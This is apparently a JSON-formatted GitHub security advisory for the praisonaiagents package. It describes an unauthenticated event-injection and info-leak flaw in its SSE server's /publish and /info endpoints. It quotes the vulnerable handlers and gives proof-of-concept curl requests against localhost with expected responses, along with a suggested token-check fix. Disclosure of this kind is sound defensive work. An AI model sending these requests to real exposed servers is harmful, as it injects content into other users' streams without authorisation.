{"id":"GHSA-35w5-pcw4-jx94","title":"PraisonAI: Unauthenticated Event Injection via SSE `/publish` Endpoint","summary":"PraisonAI: Unauthenticated Event Injection via SSE `/publish` Endpoint","severity":"medium","cvss":4.3,"cwe":["CWE-306"],"vendor":"praisonaiagents","product":"praisonaiagents","ecosystem":"pip","affected":["praisonaiagents <= 1.6.48"],"patched":["praisonaiagents 1.6.59"],"published":"2026-06-18","updated":"2026-06-18","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-35w5-pcw4-jx94","references":[{"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-35w5-pcw4-jx94"},{"url":"https://github.com/advisories/GHSA-35w5-pcw4-jx94"}],"tags":["ghsa","pip"],"ingestedAt":"2026-06-29T14:31:46.994Z","slug":"GHSA-35w5-pcw4-jx94","body":"## Overview\n\n## Summary\n\nThe SSE (Server-Sent Events) server in `src/praisonai-agents/praisonaiagents/server/server.py` exposes a `/publish` endpoint that broadcasts arbitrary messages to all connected clients without any authentication. The `ServerConfig` dataclass (line 24) defines an `auth_token` field, but this token is never validated in the `/publish` or `/events` request handlers. Any attacker with access to the SSE server port can inject arbitrary events into the SSE stream visible to all connected clients, or use `/info` to leak server configuration including connected client count.\n\n## Details\n\n**Vulnerable code (lines 164–180):**\n```python\nasync def publish(request):\n    try:\n        data = await request.json()\n        event_type = data.get(\"type\", \"message\")\n        event_data = data.get(\"data\", {})\n\n        self.broadcast(event_type, event_data)\n\n        return JSONResponse({\n            \"success\": True,\n            \"clients\": len(self._clients),\n        })\n```\n\nThe `auth_token` field in `ServerConfig` (line 31):\n```python\n@dataclass\nclass ServerConfig:\n    ...\n    auth_token: Optional[str] = None\n```\n\nThis `auth_token` is **never referenced** in any request handler. The `/publish` endpoint processes any POST request regardless of authentication headers. The `/info` endpoint (line 182) also has no auth and returns server configuration including `self.config.to_dict()`.\n\n**Routes registration (lines 190–194):**\n```python\nroutes = [\n    Route(\"/health\", health, methods=[\"GET\"]),\n    Route(\"/events\", events, methods=[\"GET\"]),\n    Route(\"/publish\", publish, methods=[\"POST\"]),\n    Route(\"/info\", info, methods=[\"GET\"]),\n]\n```\n\nNo authentication middleware or token validation is applied to any route.\n\n## PoC\n\n**Setup:** Start the SSE server (default port 8765). This is the documented server mode for streaming agent events.\n\n**Positive trigger — unauthenticated event injection:**\n```bash\n# From any network-reachable host:\ncurl -X POST http://localhost:8765/publish \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"type\": \"message\", \"data\": {\"text\": \"INJECTED: arbitrary content sent to all clients\"}}'\n```\n\n**Expected response:**\n```json\n{\"success\": true, \"clients\": 3}\n```\n\nThe response confirms the injection was broadcast to all connected SSE clients, and leaks the number of connected clients.\n\n**Positive trigger — info leak:**\n```bash\ncurl http://localhost:8765/info\n```\n\n**Expected response:**\n```json\n{\n  \"name\": \"PraisonAI Agent Server\",\n  \"version\": \"1.0.0\",\n  \"clients\": 3,\n  \"config\": {\n    \"host\": \"127.0.0.1\",\n    \"port\": 8765,\n    \"auth_token\": \"***\",\n    ...\n  }\n}\n```\n\n**Negative control — if auth were enforced:**\nA request without a valid `Authorization: Bearer <token>` header should return 401 Unauthorized. Currently, it returns 200 OK with no auth check.\n\n**Cleanup:** No persistent changes.\n\n## Impact\n\nAn attacker with access to the SSE server port (default 8765, bound to `127.0.0.1` by default per `DEFAULT_HOST` at line 21) can:\n\n- **Inject arbitrary events** into the SSE stream, potentially causing connected client applications to process malicious data, trigger actions, or display misleading content\n- **Leak server configuration** including number of connected clients and server settings via `/info`\n- **Use the response** to confirm connected client count, enabling reconnaissance\n\nWhile the default binds to localhost, deployments in containers or cloud environments commonly override the host to `0.0.0.0` to allow external access. When the host is overridden, this is exploitable from the network without authentication.\n\n## Suggested remediation\n\n1. **Validate `auth_token`** in the `/publish` and `/events` handlers:\n```python\nasync def publish(request):\n    token = request.headers.get(\"Authorization\", \"\").replace(\"Bearer \", \"\")\n    if self.config.auth_token and token != self.config.auth_token:\n        return JSONResponse({\"error\": \"Unauthorized\"}, status_code=401)\n    # ... proceed with broadcast\n```\n\n2. Apply the same token validation to `/events` (for reading) and `/info`.\n\n3. The default binding to `127.0.0.1` is appropriate; maintain this default and warn when overridden to `0.0.0.0`.\n\n4. Document the `auth_token` configuration option and recommend setting it in production.\n\n## Affected packages\n\n- `praisonaiagents <= 1.6.48`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `praisonaiagents 1.6.59`","depth":"sunlit","depthScore":24,"depthScoreParts":{"impact":23.7,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}